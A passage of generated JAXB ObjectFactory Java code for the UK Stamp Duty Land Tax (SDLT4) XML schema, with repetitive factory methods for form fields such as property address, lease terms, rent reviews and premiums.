xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PostTransactionRulingYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4PostTransactionRulingYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4PostTransactionRulingYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_IfYesHasRullingBeenFollowed", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4IfYesHasRullingBeenFollowed(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4IfYesHasRullingBeenFollowed_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationDependentOnFutureEventsYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4ConsiderationDependentOnFutureEventsYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4ConsiderationDependentOnFutureEventsYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_DeferredPaymentAgreedYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4DeferredPaymentAgreedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4DeferredPaymentAgreedYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyMineralRightsYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4PropertyMineralRightsYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4PropertyMineralRightsYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_Purchaser1DescriptionCode", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4Purchaser1DescriptionCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4Purchaser1DescriptionCode_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_Purchaser2DescriptionCode", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4Purchaser2DescriptionCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4Purchaser2DescriptionCode_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_Purchaser3DescriptionCode", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4Purchaser3DescriptionCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4Purchaser3DescriptionCode_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_Purchaser4DescriptionCode", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4Purchaser4DescriptionCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4Purchaser4DescriptionCode_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumPropertyType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyTypeCode", scope = SDLT.SDLT4 .class) public JAXBElement<EnumPropertyType> createSDLTSDLT4SDLT4PropertyTypeCode(EnumPropertyType value) { return new JAXBElement<EnumPropertyType>(_SDLTSDLT4SDLT4PropertyTypeCode_QNAME, EnumPropertyType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertySameAddressAsSDLT1", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertySameAddressAsSDLT1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertySameAddressAsSDLT1_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyAddressPostcode", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyAddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyAddressPostcode_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyAddressBuildingNo", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyAddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyAddressBuildingNo_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyAddress1", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyAddress1_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyAddress2", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyAddress2_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyAddress3", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyAddress3_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyAddress4", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyAddress4_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyLocalAuthorityCode", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyLocalAuthorityCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyLocalAuthorityCode_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyTitleNumber", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyTitleNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyTitleNumber_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyNLPGUPRN", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyNLPGUPRN(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyNLPGUPRN_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyUnitsHectareMetres", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyUnitsHectareMetres(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyUnitsHectareMetres_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyAreaSize", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyAreaSize(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyAreaSize_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyPlanAttachedYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4PropertyPlanAttachedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4PropertyPlanAttachedYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumInterestType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_InterestCreatedCode", scope = SDLT.SDLT4 .class) public JAXBElement<EnumInterestType> createSDLTSDLT4SDLT4InterestCreatedCode(EnumInterestType value) { return new JAXBElement<EnumInterestType>(_SDLTSDLT4SDLT4InterestCreatedCode_QNAME, EnumInterestType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link EnumInterest2Type }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_InterestCreatedCodeDetailed", scope = SDLT.SDLT4 .class) public JAXBElement<EnumInterest2Type> createSDLTSDLT4SDLT4InterestCreatedCodeDetailed(EnumInterest2Type value) { return new JAXBElement<EnumInterest2Type>(_SDLTSDLT4SDLT4InterestCreatedCodeDetailed_QNAME, EnumInterest2Type.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link LeaseType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link LeaseType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_LeaseTypeCode", scope = SDLT.SDLT4 .class) public JAXBElement<LeaseType> createSDLTSDLT4SDLT4LeaseTypeCode(LeaseType value) { return new JAXBElement<LeaseType>(_SDLTSDLT4SDLT4LeaseTypeCode_QNAME, LeaseType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_LeaseStartDate", scope = SDLT.SDLT4 .class) public JAXBElement<String> createSDLTSDLT4SDLT4LeaseStartDate(String value) { return new JAXBElement<String>(_SDLTSDLT4SDLT4LeaseStartDate_QNAME, String.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_LeaseEndDate", scope = SDLT.SDLT4 .class) public JAXBElement<String> createSDLTSDLT4SDLT4LeaseEndDate(String value) { return new JAXBElement<String>(_SDLTSDLT4SDLT4LeaseEndDate_QNAME, String.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_RentFreePeriod", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4RentFreePeriod(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4RentFreePeriod_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_TotalLeasePremiumPayable", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4TotalLeasePremiumPayable(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4TotalLeasePremiumPayable_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_EndDateForStartingRent", scope = SDLT.SDLT4 .class) public JAXBElement<String> createSDLTSDLT4SDLT4EndDateForStartingRent(String value) { return new JAXBElement<String>(_SDLTSDLT4SDLT4EndDateForStartingRent_QNAME, String.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_LaterRentKnownYesNo", scope = SDLT.SDLT4 .class) public JAXBElement<BooleanType> createSDLTSDLT4SDLT4LaterRentKnownYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT4SDLT4LaterRentKnownYesNo_QNAME, BooleanType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_LeaseAmountVAT", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4LeaseAmountVAT(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4LeaseAmountVAT_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_TotalLeasePremiumPaid", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4TotalLeasePremiumPaid(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4TotalLeasePremiumPaid_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_NetPresentValue", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4NetPresentValue(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4NetPresentValue_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_TotalLeasePremiumTaxPayable", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4TotalLeasePremiumTaxPayable(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4TotalLeasePremiumTaxPayable_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_TotalLeaseNPVTaxPayable", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4TotalLeaseNPVTaxPayable(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4TotalLeaseNPVTaxPayable_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_AnyTermsSurrendered", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4AnyTermsSurrendered(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4AnyTermsSurrendered_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_BreakClauseTypeCode", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4BreakClauseTypeCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4BreakClauseTypeCode_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_BreakClauseDate", scope = SDLT.SDLT4 .class) public JAXBElement<String> createSDLTSDLT4SDLT4BreakClauseDate(String value) { return new JAXBElement<String>(_SDLTSDLT4SDLT4BreakClauseDate_QNAME, String.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConditionsOptionToRenew", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConditionsOptionToRenew(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConditionsOptionToRenew_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConditionsUnascertainableRent", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConditionsUnascertainableRent(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConditionsUnascertainableRent_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConditionsMarketRent", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConditionsMarketRent(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConditionsMarketRent_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConditionsContingentReservedRent", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConditionsContingentReservedRent(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConditionsContingentReservedRent_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConditionsTurnoverRent", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConditionsTurnoverRent(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConditionsTurnoverRent_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyRentReviewFrequency", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyRentReviewFrequency(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyRentReviewFrequency_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_FirstReviewDate", scope = SDLT.SDLT4 .class) public JAXBElement<String> createSDLTSDLT4SDLT4FirstReviewDate(String value) { return new JAXBElement<String>(_SDLTSDLT4SDLT4FirstReviewDate_QNAME, String.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ReviewClauseType", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ReviewClauseType(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ReviewClauseType_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_DateOfRentChange", scope = SDLT.SDLT4 .class) public JAXBElement<String> createSDLTSDLT4SDLT4DateOfRentChange(String value) { return new JAXBElement<String>(_SDLTSDLT4SDLT4DateOfRentChange_QNAME, String.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyServiceChargeAmount", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyServiceChargeAmount(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyServiceChargeAmount_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_PropertyServiceChargeFrequency", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4PropertyServiceChargeFrequency(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4PropertyServiceChargeFrequency_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationTenant2LandlordCode1", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConsiderationTenant2LandlordCode1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode1_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationTenant2LandlordCode2", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> createSDLTSDLT4SDLT4ConsiderationTenant2LandlordCode2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT4SDLT4ConsiderationTenant2LandlordCode2_QNAME, StringType.class, SDLT.SDLT4 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT4_ConsiderationTenant2LandlordCode3", scope = SDLT.SDLT4 .class) public JAXBElement<StringType> 